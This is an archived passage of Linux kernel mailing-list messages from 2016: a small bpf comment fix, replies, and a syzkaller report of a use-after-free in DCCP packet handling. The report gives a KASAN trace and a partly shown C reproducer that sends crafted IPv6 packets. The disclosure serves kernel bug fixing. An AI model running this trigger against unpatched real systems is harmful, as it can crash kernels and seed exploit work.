* [PATCH net-next v2] bpf: cgroup: fix documentation of __cgroup_bpf_update()
From: Daniel Mack @ 2016-11-28 13:11 UTC (permalink / raw)
To: ast; +Cc: daniel, davem, netdev, roszenrami, cgroups, Daniel Mack
There's a 'not' missing in one paragraph. Add it.
Signed-off-by: Daniel Mack <daniel@zonque.org>
Reported-by: Rami Rosen <roszenrami@gmail.com>
Fixes: 3007098494be ("cgroup: add support for eBPF programs")
---
kernel/bpf/cgroup.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/kernel/bpf/cgroup.c b/kernel/bpf/cgroup.c
index a0ab43f..8c784f8 100644
--- a/kernel/bpf/cgroup.c
+++ b/kernel/bpf/cgroup.c
@@ -66,8 +66,8 @@ void cgroup_bpf_inherit(struct cgroup *cgrp, struct cgroup *parent)
* Each cgroup has a set of two pointers for bpf programs; one for eBPF
* programs it owns, and which is effective for execution.
*
- * If @prog is %NULL, this function attaches a new program to the cgroup and
- * releases the one that is currently attached, if any. @prog is then made
+ * If @prog is not %NULL, this function attaches a new program to the cgroup
+ * and releases the one that is currently attached, if any. @prog is then made
* the effective program of type @type in that cgroup.
*
* If @prog is %NULL, the currently attached program of type @type is released,
--
2.7.4
^ permalink raw reply related
* Re: [PATCH net-next v2] bpf: cgroup: fix documentation of __cgroup_bpf_update()
From: Daniel Borkmann @ 2016-11-28 13:15 UTC (permalink / raw)
To: Daniel Mack, ast-b10kYP2dOMg
Cc: davem-fT/PcQaiUtIeIZ0/mPfg9Q, netdev-u79uwXL29TY76Z2rM5mHXA,
roszenrami-Re5JQEeQqe8AvxtiuMwx3w, cgroups-u79uwXL29TY76Z2rM5mHXA
In-Reply-To: <1480338664-22616-1-git-send-email-daniel-cYrQPVfZoowdnm+yROfE0A@public.gmane.org>
On 11/28/2016 02:11 PM, Daniel Mack wrote:
> There's a 'not' missing in one paragraph. Add it.
>
> Signed-off-by: Daniel Mack <daniel-cYrQPVfZoowdnm+yROfE0A@public.gmane.org>
> Reported-by: Rami Rosen <roszenrami-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Fixes: 3007098494be ("cgroup: add support for eBPF programs")
Acked-by: Daniel Borkmann <daniel-FeC+5ew28dpmcu3hnIyYJQ@public.gmane.org>
^ permalink raw reply
* Re: [PATCH 0/4] Fix -Wunused-but-set-variable in net/mac80211/
From: Johannes Berg @ 2016-11-28 13:15 UTC (permalink / raw)
To: Kirtika Ruchandani
Cc: Arnd Bergmann, netdev-u79uwXL29TY76Z2rM5mHXA,
linux-wireless-u79uwXL29TY76Z2rM5mHXA, Marek Kwaczynski,
David Spinadel, Alexander Bondar, Michal Kazior
In-Reply-To: <cover.1479962513.git.kirtika-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org>
On Wed, 2016-11-23 at 20:45 -0800, Kirtika Ruchandani wrote:
> This patchset is part of the effort led by Arnd Bergmann to clean up
> warnings in the kernel. This and following patchsets will focus on
> "-Wunused-but-set-variable" as it among the noisier ones. These were
> found compiling with W=1.
All four applied, thanks.
johannes
^ permalink raw reply
* Re: [PATCH 2/2] net: dsa: mv88e6xxx: Add 88E6176 device tree support
From: Andrew Lunn @ 2016-11-28 13:17 UTC (permalink / raw)
To: Uwe Kleine-König
Cc: Rob Herring, Frank Rowand, Andreas Färber,
netdev-u79uwXL29TY76Z2rM5mHXA,
linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r,
Michal Hrusecki, Tomas Hlavacek, Bed??icha Ko??atu,
Vivien Didelot, Florian Fainelli,
linux-kernel-u79uwXL29TY76Z2rM5mHXA,
devicetree-u79uwXL29TY76Z2rM5mHXA
In-Reply-To: <20161128080939.ippqlytvojitefkp-jgopVnDzZD+b0XQX99//ntPVjbGH4+40kFgPdswSElo@public.gmane.org>
> I still wonder (and didn't get an answer back when I asked about this)
> why a comment is preferred here. For other devices I know it's usual and
> requested by the maintainers to use:
>
> compatible = "exact name", "earlyer device to match driver";
>
> . This is more robust, documents the situation more formally and makes
> it better greppable. The price to pay is only a few bytes in the dtb
> which IMO is ok.
We did discuss this a while back. The information is useless and
should to be ignored if present.
The switch has a register which contains its model and revision. Each
port has a set of registers, and register 3 contains the
model/version. For all devices compatible with the 6085, the port
registers start at address 0x10. For the 6190, the port registers
start at 0x0. So given one of these two compatible strings, we can
find the model of the device, from something which is burned into the
silicon.
Now, say we did add per device compatible strings. We look up the
model burned into the silicon, find it is different to what the device
tree is and do what? Fail the probe? Or just keep going using the
value in the silicon? It seems silly to fail the probe if the driver
does support the model, but that means the device tree is never
verified and hence probably wrong. Why have wrong information in the
device tree, especially wrong information which we never use. It is
better to not have that information in the device tree.
Linus has said he does not like ARM devices because of all the busses
which are not enumerable. Here we have a device which with a little
bit of help we can enumerate. So we should.
Andrew
--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* net/dccp: use-after-free in dccp_invalid_packet
From: Andrey Konovalov @ 2016-11-28 13:22 UTC (permalink / raw)
To: Gerrit Renker, David S. Miller, dccp, netdev, LKML
Cc: Dmitry Vyukov, Kostya Serebryany, Eric Dumazet, syzkaller
[-- Attachment #1: Type: text/plain, Size: 8827 bytes --]
Hi!
I've got the following error report while running the syzkaller fuzzer.
On commit d8e435f3ab6fea2ea324dce72b51dd7761747523 (Nov 26).
dh->dccph_doff is being accessed (line 731) right after skb was freed
(line 732) in net/dccp/ipv4.c.
A reproducer is attached.
==================================================================
BUG: KASAN: use-after-free in dccp_invalid_packet+0x788/0x800
Read of size 1 at addr ffff880066f0e7c8 by task a.out/3895
page:ffffea00019bc380 count:1 mapcount:0 mapping: (null)
index:0x0 compound_mapcount: 0
flags: 0x100000000004080(slab|head)
page dumped because: kasan: bad access detected
CPU: 1 PID: 3895 Comm: a.out Not tainted 4.9.0-rc6+ #457
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
ffff88006cd07758 ffffffff81c73b14 ffff88006cd077e8 ffff880066f0e7c8
00000000000000fa 00000000000000fb ffff88006cd077d8 ffffffff81637962
ffff88006cd07810 ffffffff82cc9c90 ffffffff82cabf7c 0000000000000296
Call Trace:
<IRQ> [ 27.672034] [<ffffffff81c73b14>] dump_stack+0xb3/0x10f
[< inline >] describe_address mm/kasan/report.c:259
[<ffffffff81637962>] kasan_report_error+0x122/0x560 mm/kasan/report.c:365
[< inline >] kasan_report mm/kasan/report.c:387
[<ffffffff81637dde>] __asan_report_load1_noabort+0x3e/0x40
mm/kasan/report.c:405
[<ffffffff839e8158>] dccp_invalid_packet+0x788/0x800 net/dccp/ipv4.c:732
[<ffffffff839f4fc1>] dccp_v6_rcv+0x21/0x1720 net/dccp/ipv6.c:658
[<ffffffff83418f13>] ip6_input_finish+0x423/0x15f0 net/ipv6/ip6_input.c:279
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341a1ae>] ip6_input+0xce/0x340 net/ipv6/ip6_input.c:322
[< inline >] dst_input ./include/net/dst.h:507
[<ffffffff834185ae>] ip6_rcv_finish+0x23e/0x780 net/ipv6/ip6_input.c:69
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341b4bd>] ipv6_rcv+0x109d/0x1dc0 net/ipv6/ip6_input.c:203
[<ffffffff82d0805b>] __netif_receive_skb_core+0x187b/0x2a10 net/core/dev.c:4208
[<ffffffff82d0921a>] __netif_receive_skb+0x2a/0x170 net/core/dev.c:4246
[<ffffffff82d0bbed>] process_backlog+0xed/0x6e0 net/core/dev.c:4855
[< inline >] napi_poll net/core/dev.c:5156
[<ffffffff82d0b4cd>] net_rx_action+0x76d/0xda0 net/core/dev.c:5221
[<ffffffff840f59ef>] __do_softirq+0x23f/0x8e5 kernel/softirq.c:284
[<ffffffff840f3c1c>] do_softirq_own_stack+0x1c/0x30
arch/x86/entry/entry_64.S:904
<EOI> [ 27.672034] [<ffffffff81251370>] do_softirq.part.17+0x60/0xa0
[< inline >] do_softirq kernel/softirq.c:176
[<ffffffff81251466>] __local_bh_enable_ip+0xb6/0xc0 kernel/softirq.c:181
[< inline >] local_bh_enable ./include/linux/bottom_half.h:31
[< inline >] rcu_read_unlock_bh ./include/linux/rcupdate.h:967
[<ffffffff8340b6c0>] ip6_finish_output2+0xb70/0x1f30 net/ipv6/ip6_output.c:122
[<ffffffff834152b9>] ip6_finish_output+0x3c9/0x7e0 net/ipv6/ip6_output.c:139
[< inline >] NF_HOOK_COND ./include/linux/netfilter.h:246
[<ffffffff8341588d>] ip6_output+0x1bd/0x6b0 net/ipv6/ip6_output.c:153
[< inline >] dst_output ./include/net/dst.h:501
[<ffffffff8357a116>] ip6_local_out+0x96/0x170 net/ipv6/output_core.c:170
[<ffffffff83417b63>] ip6_send_skb+0xa3/0x340 net/ipv6/ip6_output.c:1712
[<ffffffff83417eb5>] ip6_push_pending_frames+0xb5/0xe0
net/ipv6/ip6_output.c:1732
[< inline >] rawv6_push_pending_frames net/ipv6/raw.c:607
[<ffffffff83489a9e>] rawv6_sendmsg+0x1c4e/0x2c20 net/ipv6/raw.c:920
[<ffffffff832a1057>] inet_sendmsg+0x317/0x4e0 net/ipv4/af_inet.c:734
[< inline >] sock_sendmsg_nosec net/socket.c:621
[<ffffffff82c9d76c>] sock_sendmsg+0xcc/0x110 net/socket.c:631
[<ffffffff82c9f1b7>] ___sys_sendmsg+0x2d7/0x8b0 net/socket.c:1954
[<ffffffff82ca1888>] __sys_sendmmsg+0x158/0x390 net/socket.c:2044
[< inline >] SYSC_sendmmsg net/socket.c:2075
[<ffffffff82ca1af5>] SyS_sendmmsg+0x35/0x60 net/socket.c:2070
[<ffffffff840f2c41>] entry_SYSCALL_64_fastpath+0x1f/0xc2
arch/x86/entry/entry_64.S:209
The buggy address belongs to the object at ffff880066f0e780
which belongs to the cache kmalloc-512 of size 512
The buggy address ffff880066f0e7c8 is located 72 bytes inside
of 512-byte region [ffff880066f0e780, ffff880066f0e980)
Freed by task 3895:
[<ffffffff811aa1b6>] save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:57
[<ffffffff81636a76>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495
[< inline >] set_track mm/kasan/kasan.c:507
[<ffffffff816372d3>] kasan_slab_free+0x73/0xc0 mm/kasan/kasan.c:571
[< inline >] slab_free_hook mm/slub.c:1352
[< inline >] slab_free_freelist_hook mm/slub.c:1374
[< inline >] slab_free mm/slub.c:2951
[<ffffffff816337b8>] kfree+0xe8/0x2b0 mm/slub.c:3871
[<ffffffff82cb6748>] skb_free_head+0x78/0xb0 net/core/skbuff.c:580
[<ffffffff82cc50fb>] pskb_expand_head+0x28b/0x8f0 net/core/skbuff.c:1244
[<ffffffff82cc954c>] __pskb_pull_tail+0xcc/0x1190 net/core/skbuff.c:1613
[< inline >] pskb_may_pull ./include/linux/skbuff.h:1966
[<ffffffff839e80bb>] dccp_invalid_packet+0x6eb/0x800 net/dccp/ipv4.c:731
[<ffffffff839f4fc1>] dccp_v6_rcv+0x21/0x1720 net/dccp/ipv6.c:658
[<ffffffff83418f13>] ip6_input_finish+0x423/0x15f0 net/ipv6/ip6_input.c:279
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341a1ae>] ip6_input+0xce/0x340 net/ipv6/ip6_input.c:322
[< inline >] dst_input ./include/net/dst.h:507
[<ffffffff834185ae>] ip6_rcv_finish+0x23e/0x780 net/ipv6/ip6_input.c:69
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341b4bd>] ipv6_rcv+0x109d/0x1dc0 net/ipv6/ip6_input.c:203
[<ffffffff82d0805b>] __netif_receive_skb_core+0x187b/0x2a10 net/core/dev.c:4208
[<ffffffff82d0921a>] __netif_receive_skb+0x2a/0x170 net/core/dev.c:4246
[<ffffffff82d0bbed>] process_backlog+0xed/0x6e0 net/core/dev.c:4855
[< inline >] napi_poll net/core/dev.c:5156
[<ffffffff82d0b4cd>] net_rx_action+0x76d/0xda0 net/core/dev.c:5221
[<ffffffff840f59ef>] __do_softirq+0x23f/0x8e5 kernel/softirq.c:284
Allocated by task 3895:
[<ffffffff811aa1b6>] save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:57
[<ffffffff81636a76>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495
[< inline >] set_track mm/kasan/kasan.c:507
[<ffffffff81636ceb>] kasan_kmalloc+0xab/0xe0 mm/kasan/kasan.c:598
[<ffffffff81637252>] kasan_slab_alloc+0x12/0x20 mm/kasan/kasan.c:537
[< inline >] slab_post_alloc_hook mm/slab.h:417
[< inline >] slab_alloc_node mm/slub.c:2708
[<ffffffff81635fab>] __kmalloc_node_track_caller+0xcb/0x390 mm/slub.c:4270
[<ffffffff82cb7671>] __kmalloc_reserve.isra.35+0x41/0xe0 net/core/skbuff.c:138
[<ffffffff82cc4f8c>] pskb_expand_head+0x11c/0x8f0 net/core/skbuff.c:1212
[<ffffffff82cc954c>] __pskb_pull_tail+0xcc/0x1190 net/core/skbuff.c:1613
[< inline >] pskb_may_pull ./include/linux/skbuff.h:1966
[<ffffffff839e804b>] dccp_invalid_packet+0x67b/0x800 net/dccp/ipv4.c:708
[<ffffffff839f4fc1>] dccp_v6_rcv+0x21/0x1720 net/dccp/ipv6.c:658
[<ffffffff83418f13>] ip6_input_finish+0x423/0x15f0 net/ipv6/ip6_input.c:279
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341a1ae>] ip6_input+0xce/0x340 net/ipv6/ip6_input.c:322
[< inline >] dst_input ./include/net/dst.h:507
[<ffffffff834185ae>] ip6_rcv_finish+0x23e/0x780 net/ipv6/ip6_input.c:69
[< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232
[< inline >] NF_HOOK ./include/linux/netfilter.h:255
[<ffffffff8341b4bd>] ipv6_rcv+0x109d/0x1dc0 net/ipv6/ip6_input.c:203
[<ffffffff82d0805b>] __netif_receive_skb_core+0x187b/0x2a10 net/core/dev.c:4208
[<ffffffff82d0921a>] __netif_receive_skb+0x2a/0x170 net/core/dev.c:4246
[<ffffffff82d0bbed>] process_backlog+0xed/0x6e0 net/core/dev.c:4855
[< inline >] napi_poll net/core/dev.c:5156
[<ffffffff82d0b4cd>] net_rx_action+0x76d/0xda0 net/core/dev.c:5221
[<ffffffff840f59ef>] __do_softirq+0x23f/0x8e5 kernel/softirq.c:284
Memory state around the buggy address:
ffff880066f0e680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff880066f0e700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff880066f0e780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff880066f0e800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff880066f0e880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
[-- Attachment #2: dccp-invalid-packet-uaf-poc.c --]
[-- Type: text/x-csrc, Size: 14109 bytes --]
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#ifndef __NR_socket
#define __NR_socket 41
#endif
#ifndef __NR_sendmsg
#define __NR_sendmsg 46
#endif
#ifndef __NR_sendmmsg
#define __NR_sendmmsg 307
#endif
#ifndef __NR_syz_emit_ethernet
#define __NR_syz_emit_ethernet 1000006
#endif
#ifndef __NR_syz_fuse_mount
#define __NR_syz_fuse_mount 1000004
#endif
#ifndef __NR_syz_fuseblk_mount
#define __NR_syz_fuseblk_mount 1000005
#endif
#ifndef __NR_syz_open_dev
#define __NR_syz_open_dev 1000002
#endif
#ifndef __NR_syz_open_pts
#define __NR_syz_open_pts 1000003
#endif
#ifndef __NR_mmap
#define __NR_mmap 9
#endif
#ifndef __NR_connect
#define __NR_connect 42
#endif
#ifndef __NR_syz_test
#define __NR_syz_test 1000001
#endif
#define SYZ_SANDBOX_NONE 1
#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/capability.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <linux/sched.h>
#include <net/if_arp.h>
#include <assert.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <pthread.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
const int kFailStatus = 67;
const int kErrorStatus = 68;
const int kRetryStatus = 69;
__attribute__((noreturn)) void fail(const char* msg, ...)
{
int e = errno;
fflush(stdout);
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
exit(kFailStatus);
}
__attribute__((noreturn)) void exitf(const char* msg, ...)
{
int e = errno;
fflush(stdout);
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
exit(kRetryStatus);
}
static int flag_debug;
void debug(const char* msg, ...)
{
if (!flag_debug)
return;
va_list args;
va_start(args, msg);
vfprintf(stdout, msg, args);
va_end(args);
fflush(stdout);
}
__thread int skip_segv;
__thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* uctx)
{
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED))
_longjmp(segv_env, 1);
exit(sig);
}
static void install_segv_handler()
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block",
(uint8_t)a1, (uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf));
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
static uintptr_t syz_open_pts(uintptr_t a0, uintptr_t a1)
{
int ptyno = 0;
if (ioctl(a0, TIOCGPTN, &ptyno))
return -1;
char buf[128];
sprintf(buf, "/dev/pts/%d", ptyno);
return open(buf, a1, 0);
}
static uintptr_t syz_fuse_mount(uintptr_t a0, uintptr_t a1,
uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5)
{
uint64_t target = a0;
uint64_t mode = a1;
uint64_t uid = a2;
uint64_t gid = a3;
uint64_t maxread = a4;
uint64_t flags = a5;
int fd = open("/dev/fuse", O_RDWR);
if (fd == -1)
return fd;
char buf[1024];
sprintf(buf, "fd=%d,user_id=%ld,group_id=%ld,rootmode=0%o", fd,
(long)uid, (long)gid, (unsigned)mode & ~3u);
if (maxread != 0)
sprintf(buf + strlen(buf), ",max_read=%ld", (long)maxread);
if (mode & 1)
strcat(buf, ",default_permissions");
if (mode & 2)
strcat(buf, ",allow_other");
syscall(SYS_mount, "", target, "fuse", flags, buf);
return fd;
}
static uintptr_t syz_fuseblk_mount(uintptr_t a0, uintptr_t a1,
uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5,
uintptr_t a6, uintptr_t a7)
{
uint64_t target = a0;
uint64_t blkdev = a1;
uint64_t mode = a2;
uint64_t uid = a3;
uint64_t gid = a4;
uint64_t maxread = a5;
uint64_t blksize = a6;
uint64_t flags = a7;
int fd = open("/dev/fuse", O_RDWR);
if (fd == -1)
return fd;
if (syscall(SYS_mknodat, AT_FDCWD, blkdev, S_IFBLK, makedev(7, 199)))
return fd;
char buf[256];
sprintf(buf, "fd=%d,user_id=%ld,group_id=%ld,rootmode=0%o", fd,
(long)uid, (long)gid, (unsigned)mode & ~3u);
if (maxread != 0)
sprintf(buf + strlen(buf), ",max_read=%ld", (long)maxread);
if (blksize != 0)
sprintf(buf + strlen(buf), ",blksize=%ld", (long)blksize);
if (mode & 1)
strcat(buf, ",default_permissions");
if (mode & 2)
strcat(buf, ",allow_other");
syscall(SYS_mount, blkdev, target, "fuseblk", flags, buf);
return fd;
}
static uintptr_t execute_syscall(int nr, uintptr_t a0, uintptr_t a1,
uintptr_t a2, uintptr_t a3,
uintptr_t a4, uintptr_t a5,
uintptr_t a6, uintptr_t a7,
uintptr_t a8)
{
switch (nr) {
default:
return syscall(nr, a0, a1, a2, a3, a4, a5);
case __NR_syz_test:
return 0;
case __NR_syz_open_dev:
return syz_open_dev(a0, a1, a2);
case __NR_syz_open_pts:
return syz_open_pts(a0, a1);
case __NR_syz_fuse_mount:
return syz_fuse_mount(a0, a1, a2, a3, a4, a5);
case __NR_syz_fuseblk_mount:
return syz_fuseblk_mount(a0, a1, a2, a3, a4, a5, a6, a7);
}
}
static void setup_main_process()
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
install_segv_handler();
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
fail("failed to mkdtemp");
if (chmod(tmpdir, 0777))
fail("failed to chmod");
if (chdir(tmpdir))
fail("failed to chdir");
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 128 << 20;
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
unshare(CLONE_NEWNS);
unshare(CLONE_NEWIPC);
unshare(CLONE_IO);
}
static int do_sandbox_none()
{
int pid = fork();
if (pid)
return pid;
sandbox_common();
loop();
exit(1);
}
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
int i;
retry:
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exitf("opendir(%s) failed due to NOFILE, exiting");
}
exitf("opendir(%s) failed", dir);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exitf("lstat(%s) failed", filename);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
for (i = 0;; i++) {
debug("unlink(%s)\n", filename);
if (unlink(filename) == 0)
break;
if (errno == EROFS) {
debug("ignoring EROFS\n");
break;
}
if (errno != EBUSY || i > 100)
exitf("unlink(%s) failed", filename);
debug("umount(%s)\n", filename);
if (umount2(filename, MNT_DETACH))
exitf("umount(%s) failed", filename);
}
}
closedir(dp);
for (i = 0;; i++) {
debug("rmdir(%s)\n", dir);
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EROFS) {
debug("ignoring EROFS\n");
break;
}
if (errno == EBUSY) {
debug("umount(%s)\n", dir);
if (umount2(dir, MNT_DETACH))
exitf("umount(%s) failed", dir);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exitf("rmdir(%s) failed", dir);
}
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
long r[39];
void loop()
{
memset(r, -1, sizeof(r));
r[0] = execute_syscall(__NR_mmap, 0x20000000ul, 0xe8b000ul, 0x3ul,
0x32ul, 0xfffffffffffffffful, 0x0ul, 0, 0, 0);
r[1] = execute_syscall(__NR_socket, 0xaul, 0x80003ul, 0x21ul, 0, 0, 0,
0, 0, 0);
NONFAILING(memcpy((void*)0x20e7dfe4, "\x0a\x00\x42\x42\xa0\xae\x78"
"\x03\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\xc1\x97\xc4\x9e",
28));
r[3] = execute_syscall(__NR_connect, r[1], 0x20e7dfe4ul, 0x1cul, 0, 0,
0, 0, 0, 0);
NONFAILING(*(uint64_t*)0x20e83000 = (uint64_t)0x20e80000);
NONFAILING(*(uint32_t*)0x20e83008 = (uint32_t)0x0);
NONFAILING(*(uint64_t*)0x20e83010 = (uint64_t)0x2061bfd0);
NONFAILING(*(uint64_t*)0x20e83018 = (uint64_t)0x2);
NONFAILING(*(uint64_t*)0x20e83020 = (uint64_t)0x20027000);
NONFAILING(*(uint64_t*)0x20e83028 = (uint64_t)0x1);
NONFAILING(*(uint32_t*)0x20e83030 = (uint32_t)0x4);
NONFAILING(*(uint64_t*)0x2061bfd0 = (uint64_t)0x20e80f0d);
NONFAILING(*(uint64_t*)0x2061bfd8 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x2061bfe0 = (uint64_t)0x20e83000);
NONFAILING(*(uint64_t*)0x2061bfe8 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x20027000 = (uint64_t)0x10);
NONFAILING(*(uint32_t*)0x20027008 = (uint32_t)0x3);
NONFAILING(*(uint32_t*)0x2002700c = (uint32_t)0x80);
r[18] = execute_syscall(__NR_sendmsg, r[1], 0x20e83000ul, 0x8000ul, 0,
0, 0, 0, 0, 0);
NONFAILING(*(uint64_t*)0x20e73000 = (uint64_t)0x0);
NONFAILING(*(uint32_t*)0x20e73008 = (uint32_t)0x0);
NONFAILING(*(uint64_t*)0x20e73010 = (uint64_t)0x20e80000);
NONFAILING(*(uint64_t*)0x20e73018 = (uint64_t)0x5);
NONFAILING(*(uint64_t*)0x20e73020 = (uint64_t)0x20e77000);
NONFAILING(*(uint64_t*)0x20e73028 = (uint64_t)0x0);
NONFAILING(*(uint32_t*)0x20e73030 = (uint32_t)0x0);
NONFAILING(*(uint64_t*)0x20e80000 = (uint64_t)0x20e85f97);
NONFAILING(*(uint64_t*)0x20e80008 = (uint64_t)0x69);
NONFAILING(*(uint64_t*)0x20e80010 = (uint64_t)0x20e86f39);
NONFAILING(*(uint64_t*)0x20e80018 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x20e80020 = (uint64_t)0x20e87000);
NONFAILING(*(uint64_t*)0x20e80028 = (uint64_t)0x0);
NONFAILING(*(uint64_t*)0x20e80030 = (uint64_t)0x20e88f01);
NONFAILING(*(uint64_t*)0x20e80038 = (uint64_t)0xff);
NONFAILING(*(uint64_t*)0x20e80040 = (uint64_t)0x20e89f9f);
NONFAILING(*(uint64_t*)0x20e80048 = (uint64_t)0x0);
NONFAILING(memcpy(
(void*)0x20e85f97,
"\x39\xa4\x8d\x53\x4e\x54\x32\xc4\x2a\x71\xb9\xf1\xff\x1d\xd9\x47"
"\x78\x37\xb6\x72\xba\x74\xc9\xc3\xf1\x5f\x46\x3e\x14\xbb\xb9\x59"
"\xa3\x88\x40\x9c\x25\x1d\x5c\xf1\xa3\xca\x7e\xa6\x55\x44\x01\x01"
"\x9d\xab\x07\x96\x46\xa8\xe9\xa5\x2e\x74\x45\x8a\x00\xee\x71\xe6"
"\xab\x97\x46\xd2\x04\x32\xae\xb2\x68\x66\xcc\x0b\xf3\x0e\x7f\x8c"
"\x8e\x5e\xd0\xd8\x98\x7e\x54\x15\xa8\x03\x15\x1a\xb9\x9a\xf2\xdf"
"\x8e\x3b\xe2\xb8\xe7\xee\x46\xa5\x67",
105));
NONFAILING(memcpy(
(void*)0x20e88f01,
"\xfb\xba\xc0\xcf\x43\x0e\x9b\x34\x87\x5d\xa7\x7c\x88\x45\xe2\xd0"
"\x52\xbd\xaa\x84\xc2\xcd\x2b\xf2\x89\x73\xcc\x7f\x08\x06\xd6\xe9"
"\x88\xb7\x2d\xdb\x8a\xc4\x65\xb7\x08\x6b\x96\x9f\x7e\x13\xfe\x1c"
"\x73\x42\x07\x7c\xac\xc7\x89\x8a\xd3\xad\x57\x5b\x22\x9c\x48\x65"
"\x37\x86\x1f\xf0\xce\x2b\x22\xf1\x5c\x48\xaf\x63\x66\x34\x14\x19"
"\xba\xab\xf0\x83\x71\x6f\x19\xea\xd9\x9d\x25\x2f\xe5\x3d\xb1\x5f"
"\x98\xb5\x50\xc4\x6c\xd1\xe7\xe8\x77\x68\xdc\x4c\xbc\x94\x34\x53"
"\x73\xbe\x9c\x48\x5d\x87\x20\x79\x0d\x95\x62\xc1\x60\xea\xe3\x92"
